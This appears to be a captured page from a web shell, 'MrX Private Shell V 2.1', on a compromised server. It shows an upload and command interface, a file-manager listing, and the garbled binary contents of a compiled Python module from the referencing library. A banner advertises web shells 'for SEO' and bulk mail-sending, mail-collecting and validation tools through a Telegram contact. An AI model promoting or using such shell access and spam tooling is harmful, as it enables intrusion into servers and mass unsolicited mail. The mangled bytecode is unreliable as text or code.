__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

_��g
����SrSSKJr SSKJr SSKJrJrJr SSK	r	SSK
Jr \(a
SSKJ
r
JrJr \"S5rS\	R"\R$4S
S	jjrg)z2
Helpers related to (dynamic) resource retrieval.
�)�annotations��	lru_cache)�
TYPE_CHECKING�Callable�TypeVarN)�Resource)�URI�D�Retrieve�_Tc�8^^^�Tc	[SS9mSUUU4SjjnU$)a�
Create a retriever which caches its return values from a simpler callable.

Takes a function which returns things like serialized JSON (strings) and
returns something suitable for passing to `Registry` as a retrieve
function.

This decorator both reduces a small bit of boilerplate for a common case
(deserializing JSON from strings and creating `Resource` objects from the
result) as well as makes the probable need for caching a bit easier.
Retrievers which otherwise do expensive operations (like hitting the
network) might otherwise be called repeatedly.

Examples
--------

.. testcode::

    from referencing import Registry
    from referencing.typing import URI
    import referencing.retrieval


    @referencing.retrieval.to_cached_resource()
    def retrieve(uri: URI):
        print(f"Retrieved {uri}")

        # Normally, go get some expensive JSON from the network, a file ...
        return '''
            {
                "$schema": "https://json-schema.org/draft/2020-12/schema",
                "foo": "bar"
            }
        '''

    one = Registry(retrieve=retrieve).get_or_retrieve("urn:example:foo")
    print(one.value.contents["foo"])

    # Retrieving the same URI again reuses the same value (and thus doesn't
    # print another retrieval message here)
    two = Registry(retrieve=retrieve).get_or_retrieve("urn:example:foo")
    print(two.value.contents["foo"])

.. testoutput::

    Retrieved urn:example:foo
    bar
    bar

N)�maxsizec�(>^�TSUUU4Sjj5nU$)Nc�4>�T"U5nT"U5nT"U5$)N�)�uri�response�contents�
from_contents�loads�retrieves   ����7/usr/lib/python3/dist-packages/referencing/retrieval.py�cached_retrieve�>to_cached_resource.<locals>.decorator.<locals>.cached_retrieveOs �����}�H��X��H� ��*�*�)rr
r)rr�cacherrs` ���r�	decorator�%to_cached_resource.<locals>.decoratorNs"���	�	+�	+�
�	+�
�r)rzCallable[[URI], _T]r)rrrrs``` r�to_cached_resourcer s'���n
�}��$�'�����r)rz+Callable[[Retrieve[D]], Retrieve[D]] | NonerzCallable[[_T], D]rzCallable[[D], Resource[D]]�returnz,Callable[[Callable[[URI], _T]], Retrieve[D]])�__doc__�
__future__r�	functoolsr�typingrrr�json�referencingr	�referencing.typingr
rrr
rrr rrr�<module>r)su���#��3�3�� ��3�3�
�T�]��:>�#�z�z�08�0F�0F�C�6�C��C�.�C�2�	Cr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 376 B 0644
_attrs.cpython-313.pyc File 1.44 KB 0644
_core.cpython-313.pyc File 28.43 KB 0644
exceptions.cpython-313.pyc File 6.96 KB 0644
jsonschema.cpython-313.pyc File 17.18 KB 0644
retrieval.cpython-313.pyc File 3.07 KB 0644
typing.cpython-313.pyc File 2.13 KB 0644
Filemanager